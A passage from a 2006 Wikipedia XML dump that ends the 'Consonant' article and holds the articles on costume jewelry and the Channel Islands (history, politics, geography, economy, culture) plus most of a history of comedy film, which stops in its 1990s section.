Some pairs of consonants like ''p::b'', ''t::d'' are sometimes called [[Fortis and lenis|fortis]] and [[Fortis and lenis|lenis]], but this is a [[phonology|phonological]] rather than phonetic distinction.

==Consonant as a symbol==
The word '''consonant''' is also used to refer to a [[letter]] of an [[alphabet]] that denotes a consonant sound. Consonant letters in the English alphabet are [[B]], [[C]], [[D]], [[F]], [[G]], [[H]], [[J]], [[K]], [[L]], [[M]], [[N]], [[P]], [[Q]], [[R]], [[S]], [[T]], [[V]], [[W]], [[X]], [[Z]], and usually [[Y]]: The letter Y stands for the consonant [j] in &quot;yoke&quot; but for the vowel {{IPA|[&amp;#618;]}} in &quot;myth&quot;, for example.

==See also==
*[[Table of consonants]]
*[[List of consonants]]
*[[List of phonetics topics]]

==External links==
{{Spoken Wikipedia|Consonant.ogg|2005-07-20}}
*[http://www.chass.utoronto.ca/~danhall/phonetics/sammy.html interactive manner and place of articulation]
*[http://www.oneletterwords.com Dictionary of All-Consonant Words]: a free online dictionary with over 1,000 words with no vowels and examples of usage from literature.

{{Consonants}}

[[Category:Consonants|*]]

[[br:Kensonenn]]
[[ca:Consonant]]
[[da:Konsonant]]
[[de:Konsonant]]
[[es:Consonante]]
[[eo:Konsonanto]]
[[fr:Consonne]]
[[ko:닿소리]]
[[io:Konsonanto]]
[[id:Konsonan]]
[[it:Consonante]]
[[he:עיצור]]
[[kw:Kessonenn]]
[[ln:Molelisi]]
[[nl:Medeklinker]]
[[ja:子音]]
[[no:Konsonant]]
[[nn:Konsonant]]
[[pl:Spółgłoska]]
[[pt:Consoante]]
[[ro:Consoană]]
[[fi:Konsonantti]]
[[sv:Konsonant]]
[[th:พยัญชนะ]]
[[wa:Cossoune]]
[[zh:辅音]]</text>
    </revision>
  </page>
  <page>
    <title>Costume jewelry</title>
    <id>5642</id>
    <revision>
      <id>41130932</id>
      <timestamp>2006-02-25T06:12:07Z</timestamp>
      <contributor>
        <username>J.J.</username>
        <id>9718</id>
      </contributor>
      <text xml:space="preserve">'''Costume jewelry''' is [[jewelry]] that is made of less valuable materials, including [[base metal]]s, [[glass]], [[plastic]], and synthetic stones, in place of more valuable materials such as [[precious metal]]s and [[gem]]s. These items are usually, but not always, inexpensive, and often flashy. Costume jewelry is mainly used for [[fashion]] purposes, opposed to &quot;real&quot; (precious) jewelery which may exist primary as collectables, keepsakes, or investments.

Costume jewelry gets its name from its use in [[stage (theatre)|stage]] [[costume]]s. See [[fashion jewelry]]

[[Coco Chanel]] greatly popularized the use of faux jewelry in her years as a fashion designer, bringing costume jewelry to life with gold and faux pearls. 

[[Pennino Brothers Jewelry]] is one rare, but well-known brand of costume jewelry.

{{fashion-stub}}

[[Category:Jewellery]]
[[ru:Бижутерия]]</text>
    </revision>
  </page>
  <page>
    <title>Channel Islands</title>
    <id>5643</id>
    <revision>
      <id>41575052</id>
      <timestamp>2006-02-28T06:18:07Z</timestamp>
      <contributor>
        <username>Alex Law</username>
        <id>343132</id>
      </contributor>
      <minor />
      <comment>/* Transport and Communications */ fix link - Postcode now UK postcodes</comment>
      <text xml:space="preserve">:''Alternative meaning: [[Channel Islands of California]]''

[[Image:ChannelIslands.png|right]]

The '''Channel Islands''' are a group of [[island]]s off the coast of [[Normandy]], [[France]], in the [[English Channel]]. They comprise two separate [[bailiwick]]s: the Bailiwick of [[Guernsey]] and the Bailiwick of [[Jersey]]. 

==History==
Major articles: [[History of Jersey]], [[History of Guernsey]]

The Islands were annexed to the [[Duchy of Normandy]] in [[933]]. In [[1066]] the Duke [[William I of England|William the Conqueror]] invaded and conquered [[England]], becoming the English monarch. Since [[1204]], the loss of the rest of the monarch's lands in mainland Normandy has meant that the Channel Islands have been governed as separate possessions of [[the Crown]].

The Bailiwicks have been administered separately from each other since the late [[13th century]], and although those unacquainted with the Islands often assume they form one political unit, common institutions are the exception rather than the rule. The two Bailiwicks have no common laws, no common elections, and no common representative body (although their politicians consult regularly). There is no common newspaper or radio station, but a common television station, [[Channel Television]].

The Islands acquired commercial and political interests in the [[North America]]n colonies. Islanders became involved with the [[Newfoundland]] fisheries in the 17th century. In recognition for all the help given to him during his exile in Jersey in the 1640s, [[Charles II of England|Charles II]] gave [[George Carteret]], Bailiff and governor, a large grant of land in the American colonies, which he promptly named [[New Jersey]], now part of the [[United States of America]]. [[Edmund Andros]] of Guernsey was an early colonial governor in North America, and head of the short-lived [[Dominion of New England]]. 

During the [[World War II|Second World War]], the Islands were the only British soil [[Occupation of the Channel Islands|occupied by Germany]] (excepting that part of [[Egypt]] occupied by the [[Afrika Korps]] at the time of the [[Second Battle of El Alamein]]).  The Nazi occupation 1940-1945 was harsh, with some island residents being taken for [[Unfree labour|slave labour]] on the Continent; native [[Jews]] sent to [[concentration camp]]s; [[Partisan (military)|partisan]] resistance and retribution; accusations of [[collaboration]]; and slave labour (primarily [[Russia]]ns and eastern Europeans) being brought to the islands to build [[fortification]]s.  The [[Royal Navy]] [[blockade]]d the islands from time to time, particularly following the [[Battle of Normandy|liberation of mainland Normandy]] in 1944.  Intense negotiations resulted in some [[Red Cross]] humanitarian aid, but there was considerable hunger and privation during the five years of German occupation.

==Politics==
Major articles: [[Politics of Jersey]], [[Politics of Guernsey]]

The Channel Islands fall into two separate self-governing bailiwicks. Both the Bailiwick of [[Guernsey]] and the Bailiwick of [[Jersey]] are [[British Empire|British]] [[Crown dependency|crown dependencies]], but neither is part of the [[United Kingdom]]. They have been part of the [[Duchy of Normandy]] since the [[10th century]] and [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] is often referred to by her traditional and conventional title of [[Duke of Normandy]]. However, pursuant to the [[Treaty of Paris (1259)]] she is not the Duke in a constitutional capacity and instead governs in her right as Queen. This notwithstanding, it is a matter of local pride by monarchists to treat the situation otherwise; the [[Loyal Toast]] at formal dinners is to &quot;The Queen, our Duke&quot; rather than to &quot;Her Majesty, the Queen&quot; as in the UK.

[[Image:States Chamber public entrance Jersey.jpg|thumb|Entrance to the public gallery of the States Chamber in Jersey]]

The Channel Islands are not represented in the [[UK Parliament]] and each Island has its own primary legislature, known as the [[States of Guernsey]] and the [[States of Jersey]], with Chief Pleas in Sark and the States of Alderney. Laws passed by the States are given Royal Sanction by [[Privy Council of the United Kingdom|The Queen in Council]], to which the Islands' governments are responsible. 

The systems of government date from [[Normans|Norman]] times, which accounts for the names of the [[legislature|legislatures]], [[the States]], derived from the [[Norman language|Norman]] ''États'' or ''[[Estates of the realm|estates]]'' (i.e. the Crown, the Church, and the people). The States have evolved over the centuries into democratic [[parliament]]s. 

A bailiwick is a territory administered by a bailiff. The [[Bailiff (Channel Islands)|Bailiff]] in each bailiwick is the civil head, presiding officer of the States, and also head of the [[judiciary]].

In [[2001]] responsibility for links between the Channel Islands (together with the [[Isle of Man]]) and the Crown passed from the [[Secretary of State for the Home Department|Home Secretary]] to the [[Lord Chancellor]]'s Department, replaced in [[2003]] by the [[Department of Constitutional Affairs]].

In addition, Acts of the UK Parliament may be extended to any of the Channel Islands by Order-in-Council (thus giving the UK Government the ultimate responsibility for good government in the Islands). By constitutional convention this is only done at the request of the Insular Authorities, and has become a rare option, the Islands usually preferring nowadays to pass localised versions of laws giving effect to international treaties. 

Matters reserved to the Crown (i.e. the United Kingdom government) are limited to defence, citizenship, and diplomatic representation. The Islands are not bound by treaties concluded by the United Kingdom (unless they so request) and may separately conclude treaties with foreign governments (except concerning matters reserved to the Crown). The United Kingdom conceded at the end of the 20th century that the Islands may establish direct political (non-diplomatic) contacts with foreign governments to avoid the situation whereby British Embassies were obliged to pass on communications from the governments of the Bailiwicks that were in conflict with United Kingdom government policy. 

The Islands are not part of the [[European Union]] but are part of the Customs Territory of the [[European Community]] by virtue of Protocol 3 to the [[Treaty on European Union]].

Islanders are full British Citizens, but not all are European Citizens. Any British citizen who applies for a passport in Jersey or Guernsey receives a passport bearing the words '[[British Islands]], Bailiwick of Jersey' or '[[British Islands]], Bailiwick of Guernsey'. Under the provisions of Protocol 3, Channel Islanders who do not have a close connection with the UK  (no parent or grandparent from the UK, and have never been resident in Great Britain or Northern Ireland for any 5 year period) do not automatically benefit from the EU provisions on free movement within the EU and consequently their passports receive an endorsement to that effect. This only affects a minority of Islanders.

Under the Interpretation Act 1978, the Channel Islands are deemed to be part of the [[British Islands]], not to be confused with the [[British Isles]], of which they are also historically considered a part. 

Both Bailiwicks are members of the [[British-Irish Council]], and [[Jèrriais]] and [[Dgèrnésiais]] are recognised [[regional language]]s of the Isles.

The legal courts are separate (separate courts of appeal have been in place since 1961). Among the legal heritage from Norman law is the [[Clameur de haro|Clameur de Haro]].

==Geography==

[[Image:Jethou Herm Sark viewed from Jersey.jpg|thumb|Viewed from Jersey's north coast, Jethou, Herm and Sark are hazy outlines on the horizon]]

The inhabited islands of the Channel Isles are [[Jersey]], [[Guernsey]], [[Alderney]], [[Sark]], [[Herm]] (the main islands); [[Jethou]], [[Brecqhou]] (Brechou), and [[Lihou]]. All of these except Jersey are in the Bailiwick of Guernsey, but the [[Minquiers and Ecréhous]], uninhabited groups of islets, are part of the Bailiwick of Jersey. [[Burhou]] lies off Alderney. As a general rule, the larger islands have the ''-ey'' suffix, and the smaller ones have the ''-hou'' suffix; this is believed to be from the [[Old Norse]] ''ey'' and ''holmr'' respectively.

There is another small island [[Chausey]], south of Jersey - not generally included in the geographical definition of the Channel Islands but occasionally as a 'Channel Island' in English despite its French jurisdiction. It is part of France and is incorporated in the commune of Granville ([[Manche]]), and although popular with visitors from France, it is rarely visited by Channel Islanders as there are no direct transport links from the other islands. 

In official Channel Island French, the Islands are called ''Îles de la Manche'', while in France, the term ''Îles anglo-normandes'' (Anglo-Norman isles) is used to refer to the British ''Channel Islands'' in contrast to other islands in the channel. Chausey is referred to as an ''Île normande'' (as opposed to ''anglo-normande''). ''Îles Normandes'' and ''Archipel Normand'' have also historically been used in Channel Island French to refer to the islands as a whole. 

The very large tidal variation provides an environmentally rich inter-tidal zone around the islands.

==Economy==
Tourism is the major industry in the smaller islands (with some agriculture). Jersey and Guernsey have, since the [[1960s]], relied on financial services. Guernsey's horticultural and glasshouse activities have been more significant than in Jersey, and Guernsey has maintained light industry as a higher proportion of its economy than Jersey. Jersey's economy since the [[1980s]] has been substantially more reliant on finance.

Both Bailiwicks issue their own banknotes and coins, which circulate freely in all the islands alongside UK coinage and Bank of England and Scottish banknotes. ''See: [[Guernsey pound]] and [[Jersey pound]]''

==Transport and Communications==
Since [[1969]], Jersey and Guernsey have operated postal administrations independently of the UK's [[Royal Mail]], with their own postage stamps, which can only be used for postage in their respective Bailiwicks. UK stamps are no longer valid, but mail to the Islands, and to the [[Isle of Man]], is still treated as UK inland. However, it was not until the early [[1990s]] that the Islands joined the [[UK postcodes|UK's postcode]] system, Jersey postcodes using the initials JE and Guernsey using GY.

Jersey always operated its own [[telephone]] services independently of the UK's General Post Office, but Guernsey did not establish its own telephone services until [[1969]]. Both Islands still form part of the [[UK telephone numbering plan]], but [[Ofcom]] in the UK does not have responsibility for regulatory and licensing issues on the Islands. 

The Channel Islands have their own country-code top-level-domains ([[ccTLD]]s) on the internet, managed by a single registry based in Alderney. The ccTLDs are [[.gg]] for the Bailiwick of Guernsey (including Alderney and Sark) and [[.je]] for the Bailiwick of Jersey.  Alderney has a large and growing internet gambling industry.

Each of the three largest islands has a distinct vehicle registration scheme:
* Guernsey (GBG)- simply a number, up to five digits;
* Jersey (GBJ) - ''J'' followed by up to seven digits (''JSY'' vanity plates are also issued);
* Alderney (GBA) - ''AY'' followed by up to five digits (though it seems that four digits are the most that have been used).

In Sark - where most motor traffic is prohibited - the few vehicles (nearly all tractors) on the island do not display plates.

==Culture==
''Main article: [[Culture of Jersey]], [[Culture of Guernsey]]''

Culturally, the [[Norman language]] predominated in the Islands until the [[19th century]], when increasing influence from English-speaking settlers and easier transport links led to anglicisation.

[[Victor Hugo]] spent many years in exile, first in Jersey and then in Guernsey where he wrote ''Les Misérables''. Guernsey is also the setting of Hugo's later novel, ''Les travailleurs de la mer'' (The Toilers of the Sea).

The annual ''Muratti'', the inter-Island [[football]] match, is considered the sporting event of the year - although, thanks to broadcast coverage, it no longer attracts the crowds of spectators travelling between the islands that occurred during the [[20th century]].

Channel Island sportsmen and women compete in the [[Commonwealth Games]] for their respective Islands, and the Islands have been enthusiastic supporters of the [[Island Games]]. Shooting is a popular sport - islanders have won Commonwealth medals in this discipline.

Guernsey's traditional colour for sporting and other purposes is [[green]], and Jersey's is [[red]].

[[Image:Crapaud St Helier Jersey.jpg|thumb|This statue of a [[toad|crapaud]] in St. Helier represents the traditional nickname for Jersey people]]

The main islanders have traditional animal nicknames:

*Guernsey: ''les ânes'' (&quot;donkeys&quot; in French and Jèrriais) - The steepness of St. Peter Port streets required beasts of burden, but Guernsey people also claim it is a symbol of their strength of character.
*Jersey: ''crapauds'' (&quot;toads&quot; in French and Jèrriais) - Jersey has toads and snakes that Guernsey lacks.
*Sark: ''corbins'' (&quot;crows&quot; in [[Sercquiais]], [[Dgèrnésiais]] and [[Jèrriais]]) - Crows could be seen from sea on the island's coasts.
*Alderney: ''lapins'' (&quot;rabbits&quot;) - The island is noted for its warrens.

[[Christianity]] was brought to the islands around the [[6th century]]; according to tradition, Jersey was evangelized by Saint [[Helier]], Guernsey by Saint [[Samson of Dol]] and other smaller islands were occupied at various times by monastic communities representing strands of [[Celtic Christianity]]. At the [[Reformation]], the islands turned [[Calvinism|Calvinist]] under the influence of an influx of French-language pamphlets published in Geneva. [[Anglicanism]] was imposed in the [[17th century]], but the non-conformist tendency re-emerged with a strong adoption of [[Methodism]]. The presence of long-term [[Catholicism|Catholic]] communities from France and seasonal workers from Brittany and Normandy added to the mix of denominations among the population.

''See also [[Music of the Channel Islands]]''

==Other islands in the English channel==
There are other islands in other stretches of the English Channel that are not traditionally included within the grouping of Channel Islands. Among these are [[Île d'Ouessant|Ouessant/Ushant]], [[Bréhat]], [[Île de Batz]], and [[Îles Saint-Marcouf]] (under French jurisdiction), and the [[Isle of Wight]], and [[Isles of Scilly]] (under UK jurisdiction).

==External links==
*[http://www.mapquest.com/maps/map.adp?formtype=address&amp;searchtype=address&amp;country=GB&amp;addtohistory=&amp;address=&amp;city=alderney&amp;zipcode= Map of Alderney]
*[http://www.mapquest.com/maps/map.adp?formtype=address&amp;searchtype=address&amp;country=GB&amp;addtohistory=&amp;address=&amp;city=guernsey&amp;zipcode= Map of Guernsey, Herm, and Sark]
*[http://www.mapquest.com/maps/map.adp?formtype=address&amp;searchtype=address&amp;country=GB&amp;addtohistory=&amp;address=&amp;city=jersey&amp;zipcode= Map of Jersey]
*[http://www.channelisles.net .GG and .JE Domain Registry]

*[http://www.alderney.gov.gg States of Alderney]
*[http://www.gov.gg States of Guernsey]
*[http://www.gov.je States of Jersey]
*[http://www.sark.gov.gg Seigneur of Sark]

{{Channel Islands}}

[[Category:Guernsey]]
[[Category:Jersey]]
[[Category:Channel Islands|*]]
[[Category:Archipelagoes]]
[[Category:Special territories]]

[[af:Kanaaleilande]]
[[bs:Kanalska ostrva]]
[[ca:Illes Anglonormandes]]
[[cs:Normanské ostrovy]]
[[da:Kanaløerne]]
[[de:Kanalinseln]]
[[es:Islas del Canal]]
[[eo:Manikinsuloj]]
[[fr:Îles anglo-normandes]]
[[gl:Illas do Canal]]
[[ko:채널 제도]]
[[id:Kepulauan Channel]]
[[is:Ermarsundseyjar]]
[[it:Isole del Canale]]
[[he:איי התעלה]]
[[nl:Kanaaleilanden]]
[[ja:チャンネル諸島]]
[[no:Kanaløyene]]
[[pl:Wyspy Normandzkie]]
[[pt:Ilhas do Canal]]
[[ro:Insulele Canalului]]
[[simple:Channel Islands]]
[[sk:Normanské ostrovy]]
[[fi:Kanaalisaaret]]
[[sv:Kanalöarna]]
[[zh:海峽群島]]</text>
    </revision>
  </page>
  <page>
    <title>Comedy film</title>
    <id>5644</id>
    <revision>
      <id>39077631</id>
      <timestamp>2006-02-10T15:41:59Z</timestamp>
      <contributor>
        <ip>195.37.79.149</ip>
      </contributor>
      <comment>disambiguation from [[Spoof]] to [[Parody]]</comment>
      <text xml:space="preserve">[[Image:Airplane DVD.jpg|right|thumb|220px|''[[Airplane!]]'' is considered by some critics to be one of the funniest movies of all time.]]
A '''comedy film''' is a [[film]] laced with [[humor]] or that may seek to provoke [[laughter]] from the audience.  Along with [[drama]], [[horror film|horror]] and [[science fiction film|science fiction]],  [[comedy]] is one of the largest [[genre]]s of the medium.

A [[comedy of manners]] film satirizes the manners and affectations of a social class, often represented by stock characters. The plot of the comedy is often concerned with an illicit love affair or some other scandal, but is generally less important than its witty and  sometimes bawdy dialogue. This form of comedy has a long ancestry, dating back to ''[[Much Ado about Nothing]]'' by [[William Shakespeare]]. 

In a [[fish out of water comedy film]] the main character, or characters, finds himself in an alien environment and this drives most of the humor in the film. Such films can be portrayals of opposite gender lifestyle, such as in ''[[Tootsie]]'' ([[1982]]); adults swapping roles with a kid, as in ''[[Big]]'' ([[1988]]); a freedom-loving individual fitting into a structured environment, as in ''[[Police Academy]]'' ([[1984]]), and so forth.

A [[Parody film|parody or spoof film]] is a comedy that satirizes other film genres or classic films. Such films employ sarcasm, stereotyping, mockery of scenes from other films, inconsequential violence, and the obviousness of meaning in a character's actions. Examples of this form include ''[[Blazing Saddles]]'' ([[1974]]), ''[[Airplane!]]'' ([[1980]]), and ''[[Young Frankenstein]]'' ([[1974]]).

The [[anarchic comedy film]] uses nonsensical, stream-of-consciousness humor which often lampoons some form of authority. Films of this nature stem from a theatrical history of anarchic comedy on the stage and in street performances. Well-known films of this sub-genre include ''[[National Lampoon's Animal House]]'' ([[1978]]) and ''[[Monty Python and the Holy Grail]]'' ([[1975]]).

The [[black comedy]] is based around normally [[taboo]] subjects, including, death, murder, suicide and war. Examples include ''[[Arsenic and Old Lace]]'' ([[1944]]), ''[[Kind Hearts and Coronets]]'' ([[1949]]), ''[[The Ladykillers]]'' ([[1955]]), ''[[The Loved One]]'' ([[1965]]), ''[[Monty Python's the Meaning of Life]]'' ([[1983]]) and ''[[The War of the Roses]]'' ([[1989]]).

[[Gross-out film]]s are a relatively recent development, and rely heavily on sexual or &quot;toilet&quot; humour. Example of these movies include ''[[American Pie (film)|American Pie]]'' ([[1999]]), ''[[There's Something About Mary]]'' ([[1998]]), and ''[[Dumb and Dumber]]'' ([[1994]]).

The [[romantic comedy]] sub-genre typically involves the development of a relationship between a man and a woman. The stereotyped plot line follows the &quot;boy-gets-girl&quot;, &quot;boy-loses-girl&quot;, &quot;boy gets girl back again&quot; sequence. Naturally there are innumerable variants to this plot, and much of the generally light-hearted comedy lies in the social interactions and sexual tensions between the pair. Examples of this style of film include ''[[Pretty Woman]]'' ([[1990]]),  ''[[It's a Wonderful World]]'' ([[1939]]), ''[[The Shop Around the Corner]]'' ([[1940]]), 
''[[When Harry Met Sally...]]'' ([[1989]]), and ''[[Four Weddings and a Funeral]]'' ([[1994]]).

It was not uncommon for the early romantic comedy film to also be a [[screwball comedy film]]. This form of comedy film was particularly popular during the 1930s and 1940s. There is no consensus definition of this film style, and it is often loosely applied to slapstick or romantic comedy films. Typically it can include a romantic element, an interplay between people of different economic strata, quick and witty [[repartee]], some form of role reversal, and a happy ending. Some examples of the screwball comedy are: ''[[It Happened One Night]]'' ([[1934]]), ''[[Bringing Up Baby]]'' ([[1938]]), ''[[His Girl Friday]]'' ([[1940]]), and more recently ''[[What's Up, Doc? (1972 film)|What's Up, Doc?]]'' ([[1972]]).

&lt;!--
* [[Anarchic comedy film]]
* [[Comedy of manners]]
* [[Fish out of water comedy film]]
* [[Gross-out film]]
* [[Parody film]]
* [[Romantic comedy film]]
* [[Screwball comedy film]]
--&gt;
* [[Social comedy film]]
* [[Silent comedy film]]
* [[Slapstick film]]
* [[splatter film|Splatstick film]]
* [[Teen comedy film]]
* [[Tragicomedy]] and related [[Black comedy]]

==History==
The very first movies to be produced was [[Thomas Edison]]'s [[kinetoscope]] of his assistant [[Fred Ott]] in [[Record of a Sneeze]]. This could also be considered the first to show a comedic element.

Comedic films began to appear in significant numbers during the era of silent films, prior to the [[1930s]]. These were mainly focused on visual humor, including slapstick and [[burlesque]]. A very early comedy short was ''Watering the Gardener'' [[1895]] by the Lumiere Brothers. Prominent [[clown]]-style actors of the silent era include [[Charlie Chaplin]], [[Buster Keaton]] and [[Harold Lloyd]].

A popular trend during the 1920s and afterward was comedy in the form of animated cartoons. Several popular characters of the period received the cartoon treatment. Among these were [[Felix the Cat]], [[Krazy Kat]], and [[Betty Boop]]. However the development of the cartoon medium was inhibited by the lack of sound and color.

===[[1930s in film|1930s]]===
Toward the end of the 1920s, the introduction of sound into movies made possible dramatic new film styles and the use of verbal humor. During the 1930s the silent film comedy was replaced by dialogue from film comedians such as the [[W. C. Fields]] and the [[Marx Brothers]]. A few studios still clung to the silent film medium, but within three years of [[1928]] almost all movies were making use of sound. The comedian [[Charlie Chaplin]] was one of the last hold-outs, and his films during the 1930s were devoid of dialogue, although they did employ sound effects.

The introduction of sound led to a consolidation of the studios, as the equipment required was too expensive for the smaller studios to afford. The [[MGM]] studio became particularly dominant during this period, and they were noted for their comedies among other genres.

Screwball comedies, such as produced by [[Frank Capra]], exhibited a pleasing, idealised climate that portrayed reassuring social values and a certain optimism about everyday life. Movies still included slapstick humor and other physical comedy, but these were now frequently supplemental to the verbal interaction.

Another common comedic production from the 1930s was the short subject. The [[Three Stooges]] were particularly prolific in this form, and their studio [[Columbia Pictures|Columbia]] produced 190 Three Stooges releases. These non-feature productions only went into decline in the 1950s when they were migrated to the [[television]].

Other notable comedians of this period were [[Mae West]] and [[Jack Benny]].

In [[Britain]], film adaptations of stage [[farce|farces]] were popular in the early [[1930s]], while the [[music hall]] tradition strongly influenced film comedy into the [[1940s]] with [[Will Hay]] and [[George Formby]] among the top comedy stars of the time.

===[[1940s in film|1940s]]===
With the entry of the United States into [[World War II]], [[Hollywood]] became focused on themes related to the conflict. Comedies portrayed military themes such as service, civil defense, boot-camp and shore-leave. The war-time restrictions on travel made this a boom time for Hollywood, and nearly a quarter of the money spent on attending movies.

Major film comedians of this period included [[Bing Crosby]], [[Bob Hope]], and [[Danny Kaye]], as well as the comedy teams of [[Abbot and Costello]] and [[Laurel and Hardy]].

In Britain, [[Ealing Studios]] achieved popular success as well as critical acclaim with a series of films known collectively as the &quot;Ealing comedies&quot;, from [[1946 in film|1946]] to [[1956 in film|1956]]. They usually included a degree of social comment, and featured ensemble casts which often included [[Alec Guinness]] or [[Stanley Holloway]]. Among the most famous examples were ''[[Kind Hearts and Coronets]]'' ([[1949]]), ''[[The Lavender Hill Mob]]'' ([[1951]]) and ''[[The Ladykillers]]'' ([[1955]]).

The post-war period was an age of reflection on the war, and the emergence of a competing medium, the television. In [[1948]] the TV began to acquire commercial momentum and by the following year there were nearly a hundred television transmitters in American cities.

===[[1950s in film|1950s]]===
By the [[1950s]] the television industry had become a serious competition for the movie industry. Despite the technological limitations of the TV medium at the time, more and more people chose to stay home to watch the television. The Hollywood studios at first viewed the TV as a threat, and later as a commercial market. Several comedic forms that had previously been a staple of movie theaters transitioned to the TV. Both the short subject and the cartoon now appeared on the TV rather than in the theater, and the &quot;B&quot; movie also found its outlet on the television.

[[Image:Some like it hot.jpg|right|thumb|220px|''[[Some Like it Hot]]'' won an [[academy award]] for best costume and was nominated in several other categories.]]
The 1950s saw a trend away from family oriented comedies and toward more realistic social situtions. Only the [[Walt Disney]] studios continued to steadily release family comedies. The release of comedy films
also went into a decline during this decade. In [[1947]] almost one in five films had been comedic in nature, but by [[1954]] this was down to ten percent.

Some comedy films began to examine more realistic, mature themes. [[Marilyn Monroe]] starred in adult-oriented comedies such as ''[[Some Like it Hot]]'' ([[1959]]). The film themes often avoided social issues, and focused on humor.

This decade saw the decline of past comedy stars and a certain paucity of new talent in Hollywood. Among the few popular new stars during this period were [[Judy Holliday]] and the comedy team of [[Dean Martin]] and [[Jerry Lewis]]. Lewis followed the legacy of such comedians as Keaton and Harold Lloyd, but his work was not well-received by critics in the United States (in contrast to [[France]] where he proved highly popular.)

The [[Cinema of the United Kingdom|British film industry]] produced a number of highly successful film series, however, including the [[Doctor in the House|Doctor series]], the [[St. Trinian's]] films and the increasingly bawdy [[Carry on films]]. [[John and Roy Boulting]] also wrote and directed a series of successful [[satires]], including ''[[Private's Progress]]'' ([[1956]]) and ''[[I'm All Right, Jack]]'' ([[1959]]). As in the U.S., in the next decade much of this talent would move into [[television]].

A number of French comedians were also able to find an [[English language|English speaking]] audience in the '50s, including [[Fernandel]] and [[Jacques Tati]].

===[[1960s in film|1960s]]===
The next decade saw an increasing number of broad, star-packed comedies including ''[[It's a Mad Mad Mad Mad World]]'' ([[1963]]), ''[[Those Magnificent Men in Their Flying Machines]]'' ([[1965]]) and ''[[The Great Race]]'' ([[1965]]). By the middle of the decade, some of the [[1950s]] generation of American comedians, such as [[Jerry Lewis]], went into decline, while [[Peter Sellers]] found success with international audiences in his first American film ''[[The Pink Panther]]''. The bumbling [[Inspector Clouseau]] was a character Sellers would continue to return to over the next decade.

Toward the end of the [[1950s]], darker humor and more serious themes had begun to emerge that included satire and social commentary. ''[[Dr. Strangelove]]'' ([[1964]]) was a satirical comedy about [[Cold War]] paranoia, while ''[[The Apartment]]'' ([[1960]]), ''[[Alfie]]'' ([[1966]]) and ''[[The Graduate]]'' ([[1967]]) featured sexual themes in a way that would have been impossible only a few years previously.

===[[1970s|1970s]]===
In [[1970]] the [[black comedy|black comedies]] ''[[Catch 22]]'' and ''[[M*A*S*H (film)|M*A*S*H]]'' reflected the anti-war sentiment then prevalent, as well as treating the sensitive topic of suicide. ''M*A*S*H'' would be toned down and brought to television in the following decade as a long-running series. 

Among the leading lights in comedy films of the next decade were [[Woody Allen]] and [[Mel Brooks]]. Both wrote, produced and acted in their movies. Brooks' style was generally slapstick and zany in nature, often parodying film styles and [[genres]], including [[Universal Horror|Universal horror films]] (''[[Young Frankenstein]]''), [[westerns]] (''[[Blazing Saddles]]'') and [[Alfred Hitchcock|Hitchcock]] films (''[[High Anxiety]]''). 

Woody Allen focused on humorous commentary and satire, often based around relationships, as in ''[[Annie Hall]]'' in [[1977]] and ''[[Manhattan]]'' in [[1979]]. 

Following his success on film and on [[Broadway theatre|Broadway]] with ''[[The Odd Couple]]'' [[playwright]] and [[screenwriter]] Neil Simon would also be prominent in the [[1970s]], with films like ''[[The Sunshine Boys]]'' and ''[[California Suite]]''. 

Other notable film comedians that appeared later in the decade were [[Richard Pryor]], [[Steve Martin]] and [[Burt Reynolds]].

Most [[British comedy]] films of the early 70s were spin-offs of [[television series]], including ''[[Dad's Army]]'' and ''[[On the Buses]]''. The greatest successes, however, came with the films of the [[Monty Python]] team, including ''[[And Now for Something Completely Different]]'' ([[1971]]), ''[[Monty Python and the Holy Grail]]'' ([[1975]]) and ''[[Monty Python's Life of Brian]]'' in [[1979]].

Late in the [[1970s]] a trend toward youth-oriented movies began to emerge, and this was reflected in the comedies. More than half of all movie-goers were under the age of 25, and this resulted in movies such as ''[[Animal House]]'', ''[[Meatballs (film)|Meatballs]]'', and ''[[Kentucky Fried Movie]]'', all in [[1978]]-[[1979]].

===[[1980s in film|1980s]]===

In [[1980 in film|1980]] the gag-based comedy ''[[Airplane!]]'', a [[Parody|spoof]] of the previous decade's disaster film series was released and paved the way for more of the same including ''[[Top Secret!]]'' ([[1984]]) and the ''[[Naked Gun]]'' films.
[[Image:turner_et_hooch.jpg|thumb|150px|left| Cover of Turner and Hooch]]
Popular comedy stars in the '80s included [[Dudley Moore]], [[Tom Hanks]], [[Eddie Murphy]] and [[Dan Aykroyd]]. Many had come to prominence on the American TV series ''[[Saturday Night Live]]'', including [[Bill Murray]], [[Steve Martin]] and [[Chevy Chase]]. Eddie Murphy made a success of comedy-[[action movie|action]] films including ''[[48 Hrs.]]'' ([[1982]]) and the ''[[Beverly Hills Cop]]'' series ([[1984]]-[[1993]]). 

The decade also saw the rise of [[teen comedies]] like ''[[Fast Times at Ridgemont High]]'', ''[[Porky's]]'' and ''[[Revenge of the Nerds]]''. Many of these were based around teenagers attempts to lose their [[virginity]], a theme that would surface again in the late [[1990s]]. 

Also popular were the films of [[John Hughes (film director)|John Hughes]], who would become best-known for the ''[[Home Alone]]'' series of the early [[1990s]]. The latter film helped a revival in comedies aimed at a family audience, along with ''[[Honey, I Shrunk the Kids]]'' and its sequels.

In the late 1970s and early 1980s a trend emerged toward the release of sequel films based on previously successful productions. Among the sequels were ''[[Trail of the Pink Panther]]'', ''[[The Great Muppet Caper]]'', and ''[[Porky's II]]''. Unfortunately the revenue for sequels sometimes did not satisfy the investment, and the films would often met with  criticism.

Other notable comedies of the decade include the gender-swap film ''[[Tootsie]]'' ([[1982]]), ''[[Broadcast News]]'' ([[1987]]), and a brief spate of age-reversal films including ''[[Big]]'', ''[[18 Again]]'', ''[[Vice Versa]]'' and ''[[Like Father, Like Son]]''. Also notable were the ''[[Police Academy]]'' series of broad comedies, produced between [[1984]] and [[1993]]. Another high quality comedy from the decade was [[Turner &amp; Hooch]].

===[[1990s in film|1990s]]===
Popular comedy stars in the [[1990s]] included [[Jim Carrey]] (''[[The Mask]]''), [[Adam Sandler]] (''[[The Wedding Singer]]'') and [[Mike Myers (actor)|Mike Myers]] (''[[Austin Powers]]'' and ''[[Wayne's World]]''). 

